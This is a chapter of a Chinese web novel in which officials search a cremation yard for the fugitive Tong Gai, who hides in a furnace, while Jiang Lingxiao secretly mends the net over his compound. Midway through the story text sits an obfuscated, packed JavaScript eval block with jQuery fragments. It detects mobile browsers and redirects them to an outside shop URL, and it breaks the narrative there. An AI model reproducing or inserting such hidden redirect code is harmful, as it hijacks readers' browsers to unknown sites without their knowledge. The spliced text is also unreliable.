102. 男娲补天
作品:《续命狂徒》 火把炯炯中,一个士兵匆匆跑来:“报——启禀沈大人,牢房遭袭,佟改被劫走了!”
大张旗鼓送花轿是调虎离山,让手下劫走人质才是目的!
姜凌嚣抹净嘴角残血,报复性邪笑:“沈大人剩的路也不多了呢。”
沈丘染咬腮提拳,又要动粗,被韩垠及时扯住:“别再让他牵着鼻子走,抓紧搜捕佟改才是上策。”
天网密封,地道被堵,劫走佟改的人回不来了,沈丘染下令:“拿花名册来,清点人员。”
姜凌嚣立刻扫量满天井站着的人,不由瞳仁紧缩,额沁冷汗。
百密一疏,没算到地道被堵,外面的人回不来了······
点名声此起彼伏,戛然而止,花名册上耿正的名字被圈起来。
因老头年纪太大,太不起眼,都差点忘记了第一面相见时,他武功超群了。
沈丘染:“兜兜转转,原来都是老朋友。全城逮捕耿正和佟改!”
一声令下,官兵“轰隆隆”冲向门外,急不可耐的脚步声中,透着将姜凌嚣置于死地的团结。
而姜凌嚣身边,剩下的人越来越少,势单力薄的感觉像一条行径他脊背的小河,流逝不止,无可挽回。
官兵走后,府上人员也都回屋歇了,一觉醒来,人人都还有明天,只有姜凌嚣的明天惶不可测。
地道堵了,天网恢恢,灭门姜家的真凶新帝,如同她的名字“蛛”,盘结弥天大网,一步步绞杀着他,他毫无再见面复仇的机会。
月影渐渐消退,晨光透过天网,映在姜凌嚣身上,手上,一环一环的阴影,像手铐脚镣,箍住了他。
姜凌嚣灰心,又不甘心。
“吱呀”,下人房门开了一扇,胖厨家的女儿起床,小辫都没扎,就拉着胖厨来到天井,非要玩挑绳。
一根细绳在指间挑来挑去,一会儿两手远远撑拉,一会儿绞缠到只能塞进一根手指。
小女孩技艺高超,小指头一个勾拉,将快绞成疙瘩的棉线解开,手掌一翻,竟撑出一座“桥”。
“好。”姜凌嚣鼓掌,手腕伸出时,天网阴影错成的“手铐圈口”在逐渐升高的太阳下变大了,被箍着的双手,解放了。
如此……地道封了,还能封住天吗?
姜凌嚣看看挑绳,又望向天网,嘴角隐隐浮现出冷森森的阴笑。
阳光透过窗缝,照在涨如猪头的烂脸上,佟改睁开眼,动了下僵麻的手脚,“哗啦哗啦”捣落身后一堆炭。
佟改惊醒,终于想起来——
昨晚,他在牢里被审,忽然沈丘染被叫走,接着耿正去救他,双方打斗时,他头上挨了一棍子。
昏迷后再醒来,就是逼仄的炭房。
佟改拉开炭房门,一股热气混着恶臭扑面而来。
场院地上摊着几具草席裹着的死尸,焚化炉高窜火苗,瘦高老太围着皮围裙,推着一具尸体进炉。
又是那个令人恶心的郊外化人场。
佟改甩上门,钻进隔壁厨房,破桌上摆着一碟腌萝卜,两碗白粥,两副筷子。
穷怕了,最恨劳苦饭。
佟改“乒乒乓乓”翻出调料,煮了一大锅黄色浆糊,觉得别人收留了自己不好吃独食,端着锅子走到瘦高老太面前:
“老奶,这鬼地方尸臭味太重了,吃点这个开开胃。”
瘦高老太忙着铲炭焚尸,眼皮都不抬一下:“院门口有个猪圈,倒猪食槽里。”
“凭什么?我辛辛苦苦做的,你不吃我吃!”好心当个驴肝肺,佟改转身就走。
“砰”铲子插到佟改脚下,挡住去路。
瘦高老太:“人名可改,面目可乔装,但本能改不掉,比如口味。
这锅浆糊不是本地饮食,刺鼻招摇。你现在是逃犯,越是不起眼,就越安全。”
佟改拐向猪圈,泼到猪食槽,咕哝:
“切,闻不惯就找这种废话。这鬼地方来的都是死人,活人谁来?”
残墙外,静止的树叶轻微颤抖,似是清风欲来,瘦高老太一脸警惕,朝猪圈边大喊:“快躲进屋!”
墙头上,不时浮现人头顶的影子,马蹄声渐近,佟改藏身来不及了。
“梆”,老太夺锅敲晕佟改,拿草席一卷,连人带席刚滚进死尸堆,“哒哒哒”的人马就冲进院门。
沈丘染下了马车,扫视地上堆着的死尸,不停吸着鼻子,停留在裹着佟改的草席前,不知是闻到了猪圈的臭味,还是浆糊的辛辣味。
瘦高老太忙推开圈门,打断沈丘染:“喂!这是化人场,闲杂人等出去!”
沈丘染拄拐走向猪圈,亮出天理寺腰牌:
“官府例行查询。老人家,这个场子几个人操持?”
老太晃了晃锅里残渣,倒进猪食槽,拴上圈门才答:“就我一个。”
猪围上食槽,不停舔舐着黄色浆糊水,可疑物被销毁。
沈丘染扒着圈门看猪吃食,似乎并没发现可疑,一心抓人:
“官府正追捕逃犯,城中都搜了,现在搜查到郊外。老人家,公务在身,多有得罪。”
老太忙着拾掇院子,头也不抬,由着官兵进进出出。
沈丘染进屋检查一圈,举着筷子出来:“一个人,怎么会有两个碗,两副筷子?”
瘦高老太看着沈丘染审视的眼睛,平淡:“你成过亲吗?”
沈丘染眼神锐利:“回答我。”
“年轻真好,没经历过死别,所以问些天真话。到了我这个孤寡的年纪,只有假装老头没死,还有伴,才不那么绝望,愿意勉强吃两口,好苟活下去。”
沈丘染掏出佟改的通缉画像:“有没有见过这个人?”
瘦高老太看了看画像,踢了下脚边草席:“送我这的,都是死的。要是见到活的,就是见鬼了。”
草席里的佟改挨了一脚,眼皮动了动。
沈丘染举拐捅捅地上一个又一个的草席,捅到佟改,佟改彻底醒来,听到沈丘染声音,屏住呼吸,听见沈丘染又在问:“什么人才送到这里焚化?”
“死人。”
“······”
沈丘染纠正:“我的意思是,一般人都能入殓下葬,什么情况下死的人才烧掉?”
“传染病的,无人认领的。”老太拖走裹着佟改的草席。
草席下的脚踝随着拖动摇来摇去,沈丘染敏锐喝止:
“这具尸体还没僵。”
“才死的。越是才死的,越有可能传染时疫。”老太已将草席拖到焚化炉前,作势当下就烧。
沈丘染借由放筷子,回屋重新检查。
屋内简陋破烂,只有一个破床,没有他人的痕迹。
沈丘染只好将筷子放回原位,却不小心碰掉另一只筷子,吃力弯腰捡起来,手里攥着两根筷子,顿时分不清哪根是干净的,哪根是掉地的。
——同理,谁能保证,地上躺着的,都是死人?!
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17208878|186002||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
沈丘染眼前一亮,急切拄拐出门。
瘦高老太听到动静不对,飞速搬起地上的草席,投进炉膛。
沈丘染站在死尸堆前,用拐杖掀起草席,一个个检查过去。
无果。
他顿了顿,突然调头走向焚化炉。
眼见他越走越近,老太点着一把秸秆,塞进炉膛。
炉膛里,佟改差点骂出声,赶紧往里炉膛深处钻。
沈丘染刚走到焚化炉前,“砰”,炉口的门及时关上。
铁制窗缝里,吞噬着草席的烈焰遮掩了后面的佟改。
搜查完毕的官兵归队:“沈大人,四处都搜过了,没有可疑人员。”
沈丘染转身下令:
“查一下这里归什么地方管,今后每一具尸体停放、火化,炭的用量,都要登记在册,不能放野。”
士兵:“是!”
佟改的皮肉烧裂,实在忍不住了,“砰砰砰”敲炉门。
沈丘染闻声回头,却见是老太举着火钩子敲紧炉门。
士兵:“沈大人,下一处还有马场,要不要搜?”
沈丘染带头:“走!”
官兵刚消失在大门口,老太赶紧钩开炉门,佟改屁滚尿流掉出来,浑身半生不熟,悲鸣哀叫:
“我那么敲炉门你也不开,还差点烧死我!呜呜呜……
都说天道酬勤,这一年来我并没有再偷懒,却越勤奋越悲惨,到头来亲娘死了,心爱的女人杳无音信,我自己也成了通缉犯……”
化人场被官府加强监督,绝不能再窝藏罪犯了。
老太没空听人嚎丧,快速乔装打扮,挎着一篮子花生进城。
从郊区到城内,几步就贴着一张佟改的通缉画像,悬赏诱人。
竞安府高墙内,姜凌嚣站在厨房门外熬一大锅鱼鳔,突然耳朵一动,停住手,打发胖厨到大门口。
监军拔刀阻拦,胖厨捧出吊钱和银锭子:
“买花生,我不出去,您帮我,银子是孝敬您喝酒的。”
府门外,叫卖花生的声音越来越近,是个泯然与众人的老太。
监军放松警惕收刀,老太收了一吊钱,高兴的连篮子也没要就跑了,生怕买家反悔似的。
胖厨提篮子回来,姜凌嚣倒掉花生,篮底有粒花生不掉,抠下来掰开,里面一张纸条:
【沈兵来过/此地失安/尽快转移】
也就是躲过了沈丘染的抓捕,还有转圜的余地。
只要撑过今晚,天网就不再无懈可击,再把佟改转移到府上,来个最危险的地方就是最安全的地方。
鱼鳔在锅里咕嘟成鱼胶,姜凌嚣赶紧将牛筋绳泡进胶里搅拌。
牛筋绳吃透鱼胶变得越来越粗,趁热浸进冷水,又变得冷硬坚固如铁。
绳网补到铰断的窟窿上,与天网完美契合,丝毫看不出纰漏,巧夺天工如女娲补天。
夜间,院内巡逻的士兵拿桶子捅天网,随机检查有无被做过手脚,牛筋绳替代的那块,没有被检测出来。
好容易熬到天明,夜间巡逻士兵换班,姜凌嚣立刻出了卧房门,准备趁乱逃出天网,找到耿正,转移佟改。
府外锣鼓喧天,下人都挤到门缝看热闹。
挤在最前面的人,一句一句向后报道:
“是一队官兵,押着犯人游街······哟,领头的是沈大人!后面押着的是个小个子,胖嘟嘟的,一脸疤······不好!是佟改!”

